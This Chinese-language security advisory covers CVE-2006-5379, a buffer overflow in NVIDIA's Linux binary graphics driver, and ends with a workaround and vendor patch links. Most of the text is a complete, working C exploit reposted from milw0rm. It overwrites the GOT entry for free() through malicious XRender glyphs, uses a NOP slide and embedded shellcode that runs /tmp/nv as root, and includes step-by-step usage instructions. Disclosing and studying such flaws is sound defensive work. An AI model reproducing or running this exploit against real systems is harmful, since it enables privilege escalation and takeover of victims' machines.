安全研究
安全漏洞
NVidia Linux二进制图形驱动缓冲区溢出漏洞
发布日期：2006-10-16
更新日期：2006-11-07
受影响系统：
NVIDIA Binary Graphics Driver 8774描述：
NVIDIA Binary Graphics Driver 8762
BUGTRAQ ID: 20559
CVE(CAN) ID: CVE-2006-5379
NVidia是世界领先的图形处理芯片和显卡制造商。
NVIDIA的二进制blob驱动在加速渲染glyphs（文本字符数据）时存在缓冲区溢出，允许攻击者向内存中的任意位置写入数据。
XRender扩展提供一个名为XRenderCompositeString8的客户端函数要求X服务器在屏幕上渲染glyphs。服务程序的ProcRenderCompositeGlpyhs函数会处理这个请求，从渲染请求中提取出glyphs，创建一个glyph列表，然后通过注册的回调函数调用图形驱动。
NVIDIA二进制blob驱动注册一个名为_nv000373X的函数，用于计算glyph数据所占用所有区域的边界BoxRec，然后使用Xalloc分配width * height的缓冲区来容纳数据。这个缓冲区会被传送给另一个名为_nv000053X的内部函数。
_nv000053X函数迭代glyph列表，并使用每个glyph的累积宽度、xOff高度和yOff值计算出缓冲区中的目标位置，将数据拷贝到缓冲区。NVIDIA二进制blob驱动没有对这个计算检查所分配缓冲区的大小，因此攻击者可以使用一系列glyphs导致函数写入内存中的任意位置。
glyph数据是通过X客户端提供给X服务端的，因此远程X客户端可以利用这个漏洞在X客户端上获得root权限。
<*来源：Rapid7
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=116104273311558&w=2
http://security.gentoo.org/glsa/glsa-200611-03.xml
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
* Copyright (c) 2005 Matthieu Herrb
* Copyright (c) 2006 Derek Abdine, Marc Bevand
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*
* Exploit for Buffer Overflow in NVIDIA Binary Graphics Driver For Linux
* see http://www.rapid7.com/advisories/R7-0025.jsp for original advisory.
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <X11/Intrinsic.h>
#include <X11/Xft/Xft.h>
int done = 0;
unsigned long black_pixel;
/* This exploit takes two arguments:
* o The lowest address past X's heap.
* o X's data address.
*
* Note the first address required is usually
* in the 0xbXXXXXXX range, as the exploit
* forces the nvidia driver to allocate a large
* sum of memory.
*
* This information can be easily taken using:
* cat /proc/`pgrep Xorg`/maps | head -n 5
*
* On a sample system, this was:
*
* 08048000-081b8000 r-xp 00000000 09:02 58721202 /usr/bin/Xorg
* 081b8000-081c7000 rw-p 00170000 09:02 58721202 /usr/bin/Xorg
* 081c7000-08533000 rw-p 081c7000 00:00 0 [heap]
* b5bbc000-b60bd000 rw-s e35f9000 00:0d 12154 /dev/nvidia0
* b60bd000-b6112000 rw-p b60bd000 00:00 0
*
* Thus, one would use:
*
* ./nv_exploit 0xb5bbc000 0x081b8000
*
* To run the exploit. Note that although the exploit "best guesses"
* the correct spot to write the shellcode, it may be off. This
* may be tweaked by modifying the 0x2C0000 in the source below.
* If the data is written to an incorrect location where vital
* X program data is stored, X will (eventually, if not immediately)
* crash.
*
* The exploit works by overwriting the address of free() in the
* Global Offset Table to an address offset relative to the supplied
* GOT address (second argument). The NVIDIA driver will then call
* Xfree, which will in turn call free() using the overwritten GOT
* entry and nop slide to the shellcode.
*/
/* The shellcode below will execute a shell script located
* at /tmp/nv. */
unsigned char shellcode[] =
"\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x75\xfe\x31\xc0\x68\x2f\x6e"
"\x76\x00\x68\x2f\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb8"
"\x0b\x00\x00\x00\xcd\x80";
typedef struct {
Display *display;
XtAppContext app;
Window win;
XftFont *font;
XftColor color, bg;
XftDraw *draw;
GC gc;
} XDataStr;
static void
sigHandler(int sig)
{
done = 1;
}
int
createWin(XDataStr *data)
{
u_long attributeMask;
XSetWindowAttributes attribute;
Window w;
Display *display = data->display;
int screen = DefaultScreen(display);
XGCValues gc_val;
Screen *s;
attribute.background_pixel = WhitePixel(display, screen);
attribute.border_pixel = WhitePixel(display, screen);
attribute.bit_gravity = NorthWestGravity;
attribute.event_mask = ButtonPressMask|ButtonReleaseMask|KeyPressMask|
ExposureMask;
attributeMask =
CWBorderPixel |
CWBackPixel |
CWEventMask |
CWBitGravity;
s = ScreenOfDisplay(data->display, screen);
w = XCreateWindow(display, RootWindow(display, screen), 0, 0,
DisplayWidth(display, screen)/2, 150,
0, DefaultDepth(display, screen), InputOutput,
DefaultVisual(display, screen), attributeMask, &attribute);
data->font = XftFontOpen(display, screen,
XFT_FAMILY, XftTypeString, "mono",
XFT_SIZE, XftTypeInteger, 16,
NULL);
if (!XftColorAllocName(display, XDefaultVisual(display, screen),
DefaultColormap(display, screen), "red4", &data->color)) {
fprintf(stderr, "cannot get color");
return -1;
}
if (!XftColorAllocName(display, XDefaultVisual(display, screen),
DefaultColormap(display, screen), "linen", &data->bg)) {
fprintf(stderr, "cannot get bg color");
return -1;
}
data->draw = XftDrawCreate(display, w, DefaultVisual(display, screen),
DefaultColormap(display, screen));
gc_val.foreground = BlackPixel(display, screen);
gc_val.background = WhitePixel(display, screen);
data->gc = XCreateGC (display, w, GCForeground|GCBackground,
&gc_val);
data->win = w;
return 0;
}
void
show(XDataStr *data)
{
Status s;
XMapWindow(data->display, data->win);
s = XGrabKeyboard(data->display, data->win, False,
GrabModeAsync, GrabModeAsync, CurrentTime);
if (s != GrabSuccess) {
printf("Error grabing kbd %d\n", s);
}
}
int
main(int argc, char *argv[])
{
Display *display;
Widget toplevel;
XtAppContext app_con;
XEvent event;
char c, *string;
unsigned int i;
XDataStr *data;
XExposeEvent *expose = (XExposeEvent *)&event;
unsigned int heapaddr, gotaddr;
if (argc > 2)
{
heapaddr = strtoul(argv[1],NULL,0);
gotaddr = strtoul(argv[2],NULL,0);
}
else
{
printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
return 0;
}
toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
&argc, argv, NULL, NULL, 0);
display = XtDisplay(toplevel);
data = (XDataStr *)malloc(sizeof(XDataStr));
if (data == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
data->display = display;
data->app = app_con;
if (createWin(data) < 0) {
fprintf(stderr, "can't create Data Window");
exit(EXIT_FAILURE);
}
show(data);
signal(SIGINT, sigHandler);
signal(SIGHUP, sigHandler);
signal(SIGQUIT, sigHandler);
signal(SIGTERM, sigHandler);
/************************************************************************
* BEGIN FONT HEAP OVERFLOW SETUP CODE
*
* "It's so hard to write a graphics driver that open-sourcing it would
* not help."
* - Andrew Fear, Software Product Manager (NVIDIA Corporation).
**********************************************************************/
XGlyphInfo * glyphs;
XRenderPictFormat fmt;
XRenderPictFormat *mask = 0;
GlyphSet gset;
char * buf =0;
int offset, cr, numB;
int xscreenpos = 32680;
int magic_len = 32768 - xscreenpos;
int wr_addr_len = 3548;
int wr_nop_len = 200;
/* Calculate the offset to the Global Offset Table.
* 0x2C0000 is the size of the buffer the NVIDIA driver
* allocates for us when it is about to draw.
*/
offset = gotaddr-(heapaddr-0x2C0000);
offset += magic_len;
glyphs = malloc(sizeof(XGlyphInfo)*3);
/* Payload glyph */
glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */
glyphs[0].height = 1;
glyphs[0].yOff = 0;
glyphs[0].xOff = glyphs[0].width;
glyphs[0].x = 0;
glyphs[0].y = 0;
/* Large offset glyph (untweaked) */
glyphs[1].width=0;
glyphs[1].height=0;
glyphs[1].yOff=32767;
glyphs[1].xOff=0;
glyphs[1].x = 0;
glyphs[1].y = 0;
/* Small offset glyph (tweaked) */
glyphs[2].width=0;
glyphs[2].height=0;
glyphs[2].yOff=0;
glyphs[2].xOff=0;
glyphs[2].x = 0;
glyphs[2].y = 0;
fmt.type = PictTypeDirect;
fmt.depth = 8;
Glyph * xglyphids = malloc(3*sizeof(Glyph));
xglyphids[0] = 'A';
xglyphids[1] = 'B';
xglyphids[2] = 'C';
int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
int bufsize = stride*glyphs[0].height;
buf = malloc(bufsize);
/* Write jump address to the buffer a number of times */
for (cr=0; cr<wr_addr_len; cr+=4)
{
*((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4;
}
/* Write the NOP instructions until wr_nop_len */
memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);
/* Write the shellcode */
cr+=wr_nop_len;
memcpy(buf+cr, shellcode, sizeof(shellcode));
/* Calculate the number of B's required to send */
numB = offset / (glyphs[1].yOff * magic_len);
/* We send only one C, but we change its yOff value according to
* how much space we have left before we meet the correct index length */
glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len);
/* Now create a new buffer for the string data */
string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
for (cr=0; cr<numB; cr++) string[cr] = 'B';
string[cr] = 'C'; cr++;
string[cr] = 'A'; cr++;
string[cr] = 0;
mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);
gset = XRenderCreateGlyphSet(display, mask);
if (mask)
{
/* Ask the server to tie the glyphs to the glyphset we created,
* with our addr/nopslide/shellcode buffer as the alpha data.
*/
XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize);
}
/* END FONT HEAP OVERFLOW SETUP CODE */
done = 0;
while (!done) {
XNextEvent(display, &event);
switch(event.type) {
case KeyPress:
i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
done = 1;
}
break;
case Expose:
XftDrawRect(data->draw, &data->bg,
expose->x, expose->y,
expose->width, expose->height);
/* Send malignant glyphs and execute shellcode on target */
XRenderCompositeString8(display, PictOpOver,
XftDrawSrcPicture(data->draw, &data->color),
XftDrawPicture(data->draw), mask, gset,
0, 0, xscreenpos, 0, string, strlen(string));
break;
}
}
free(glyphs);
free(xglyphids);
free(buf);
free(string);
XFlush(display);
XUnmapWindow(data->display, data->win);
XUngrabKeyboard(data->display, CurrentTime);
XCloseDisplay(display);
exit(EXIT_SUCCESS);
}
// milw0rm.com [2006-10-16]
建议：
临时解决方法：
* 禁用二进制blob驱动，使用X默认捆绑的nv驱动。
厂商补丁：
Gentoo
------
Gentoo已经为此发布了一个安全公告（GLSA-200611-03）以及相应补丁:
GLSA-200611-03：NVIDIA binary graphics driver: Privilege escalation
链接：http://security.gentoo.org/glsa/glsa-200611-03.xml
NVIDIA二进制图形驱动用户应升级到最新版本：
# emerge --sync
# emerge --ask --oneshot --verbose ">=x11-drivers/nvidia-drivers-1.0.8776"
NVIDIA
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://download.nvidia.com/XFree86/Linux-x86_64/1.0-8776/NVIDIA-Linux-x86_64-1.0-8776-pkg2.run
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